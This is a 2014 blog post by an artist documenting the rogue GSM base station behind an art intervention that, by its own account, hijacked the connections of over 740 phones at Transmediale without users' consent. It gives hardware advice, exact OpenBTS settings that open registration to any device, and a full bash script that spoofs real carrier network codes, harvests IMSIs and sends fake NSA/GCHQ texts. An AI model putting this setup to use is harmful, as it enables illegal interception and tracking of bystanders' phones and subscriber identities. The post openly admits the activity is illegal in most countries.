Julian Oliver

Documentation of GSM spoofing strategy used at Transmediale, 2014

Thu 13 February 2014
By Julian Oliver
In Log.
tags: Transmediale 2014 Linux GSM infrastructure

Introduction

This post documents aspects of the GSM spoofing component of PRISM: The Beacon Frame, as presented at Transmediale 2014.

On the opening night of Transmediale the project successfully hijacked the cellular connection of at least 740 phones, without any interaction from users. Many more were intercepted the following day. While the intervention was met with much appreciation, humour and celebration, this element of the project was soon sabotaged by the head of the contract AV company working for the festival in response to a few complaints from audience. The log numbering the interceptions for that day contained about 1300 devices before being inadvertently destroyed in the takedown.

Please find more at the above link on the controversy and background on the project in general.

Background

'Catching' phones in this way and sending them SMSs is not in itself new. My first awareness of it in a cultural context was via the Chaos Computer Camp, 2011, where phone registration with local cell towers were spoofed by a rogue cellular base-station, or BTS.

Since I have been exploring GSM interception at Studio Weise7 in Berlin and also extensively in Buffalo NY 2013, as part of my residency with the Techne Institute, University of Buffalo. Due to tight patrolling of unlicensed use of GSM and general mass paranoia following the so-called Boston Bombings, occurring just prior to my exhibition, I chose not to publicly present a rogue station. Rather, I focused on signal analysis and mapping.

Another notable example is Dan Moore's Messenger of God project, which allowed audiences to send SMSs to phones using a computer interface. Governments and police have also been doing it for years, in particular to intercept communications and log SIM cards present at protests. From there it's quite trivial for them to link IMSIs with SIM owners/subscribers and thus their bank accounts, residential addresses, etc.

To catch phones using a rogue station with excellent results requires care and attention to several technical contingencies, some of which can 'make or break' the attempt… or at least limit its success. This can mean the difference between 5 and 1000 phones caught. At Transmediale we wanted mass effect and so plenty of testing and familiarisation with conditions conducive to high contact rates was important.

More so, it's very wise to ensure you have your proverbial legal back covered - or at least heavily insulated by the institution hosting your intervention.

Before going on, *I'd like to express here that in most countries manipulating existing cellular associations or setting up IMSI catchers is quite illegal*.

Dead zones

In our case we were careful to leverage the GSM dead-zones of the HAUS DER KULTUREN DER WELT - the museum in which Transmediale was hosted and one with famously poor GSM reception. In doing so *we weren't interrupting existing communications*.

The advantage for us is that these dead-zones provided us with opportunity to catch phones seeking the reception they've just lost, meeting them with a properly configured base station that matches the characteristics of the local cell tower they were paired with.

The only alternative to dead zones would be to use a jammer which would be triply illegal in most Western states. Only Police and Government have the right to electromagnetic silence. It is not a civilian luxury.

Hardware

We used a USRP B200 Software Defined Radio solution from Ettus Research, with a VERT900 GSM antenna.

If using dead zones, be sure to place your antenna at the edge of that zone in a prominent line-of-sight relation to your targets with no wall immediately behind the antenna. Ensure your USRP and antenna are at a distance from the computer driving it.

Software

OpenBTS was installed on a Thinkpad X100e running Ubuntu 12.04, compiled using these instructions (with a little tinkering). OpenBTS is by now the defacto BTS software solution and is in itself quite a mature project.

OpenBTS config

Using the OpenBTS Command Line Interface the following primary alterations were made to the base configuration. Others were made but aren't relevant here to performance or basic configuration.

It's a good idea to set the ARFCN (GSM900 space) to a channel unique to the area, and known to have a high dBm with the VERT900 antenna. I set it to 975, like so:

```
config GSM.Radio.C0 975
```

I found an ARFCN of 975 gave me a downlink frequency of 925MHz and a high output power of 20dBm with the VERT900. Many other ARFCNs give a poorer performance (even in the negative dB!). Note this is only good for regions in the GSM900 cellular space.

Next, I set the rxgain to 60dB. This (for curious reasons) gave the best results with popular handsets from 5 to 20 metres from the installation (our target range). Plenty of testing was done over many days, preying on the trust of the many friends that visit us in our studio:

```
rxgain 60
```

It's also a good idea to change the longitude and latitude of your rogue cell, to match your location. See the following configuration items:

```
GSM.RRLP.SEED.LATITUDE <float>
GSM.RRLP.SEED.LONGITUDE <float>
```

Now change your station's shortname to something meaningful. Or not:

```
config GSM.Identity.ShortName <string>
```

Set the welcome message sent by your BTS to a newly registered handset:

```
config Control.LUR.OpenRegistration.Message <string>
```

Finally, set your BTS to allow registration from any devices:

```
config Control.LUR.OpenRegistration .*
```

Please be careful at this point. Devices coming out of a dead zone, or merely devices with promiscuous network managers, will hop onto your rogue BTS. Scare them and -speaking from experience- you invite complaints and law enforcement.

In many countries, largely due to an impoverished mix of ignorance and market protection, you'd be better off torching a record store than running your own rogue GSM cell.

Spoofing and SMS code

I wrote the below simple shell script to do the spoofing. It will spoof a randomly selected MNC (Vodafone, o2 etc) for 60 seconds at a time.

You will note it can take an input file of MNCs that relate to actual providers. If you want to spoof local providers, you will need to edit the 'MNCs' array or provide a source file.

```
#!/bin/bash

# figlet -f slant "Starting up..."
echo "Starting up..."
echo "Press 'Q' for a clean exit"
echo "//------------------------------------------------------------>"
```

```
#MNCs=$(source MNCS.txt)
MNCs=(01 02 03 07 20)
TXTS=(
"State Spying Reform 2014-A6. Embrace Our Transparency."
"NSA Thanks You For Use Of Your Device"
"This Device Has Cooperated. We Thank It."
"Intercepted For Future Use. GCHQ Thanks You."
"Trans Atlantic Upload Complete."
"Remain Still. Do Not Switch Off Device - GCHQ"
)
LOG=$(date +%Y-%m-%d_%H:%M:%S)_tmsis.log
KEY=''

while [ "x$KEY" != "xQ" ];
    do
        read KEY
        for i in ${MNCs[@]};
            do
                MNC=$i;
                # Set the BTS to the new MNC
                echo "config GSM.Identity.MNC $MNC" | ./OpenBTSCLI
                echo "We're working with MNC: " $MNC
                # Poll every 60 seconds
                for j in {1..60}:
                    do
                        sleep 1
                        # Check if we've caught any IMSIs
                        if [ $(echo "tmsis"|./OpenBTSCLI|tail -n +15|awk '{\
                        print $2 }'|sed '/^\s*$/d'|wc -l) -gt 0 ]
                            then
                                for IMSI in $(echo "tmsis"|./OpenBTSCLI | tail -n +15 | awk \
                                    '{ print $2 }' | sed '/^\s*$/d');
                                    do
                                        # Randomly choose an SMS to send them
                                        SMS="${TXTS[RANDOM%${#TXTS[@]}]}"
                                        # Send it
                                        echo "sendsms $IMSI $SMS"|./OpenBTSCLI
                                        echo IMSI $IMSI was sent $SMS
                                        # Append this event to log
                                        echo $IMSI $(date +%Y-%m-%d_%H-%M-%S) $MNC $SMS >> $LOG
                                        #sleep 1
                                    done
                                # Clear the TMSIS table
                                echo "tmsis clear" | ./OpenBTSCLI
                            else
                                echo "No IMSI joined us this round."
                        fi
                    done
            done
done

echo "//<-------------------------------------------------------------------"
echo "Quitting..."

cat $LOG | sort -n | uniq -u > $LOG.sorted
echo "We hit" $(cat $LOG.sorted | wc -l) "devices this session."
```

EOF

Affiliated

Critical Engineering

Studio Weise7

Powered by Pelican Written in VIM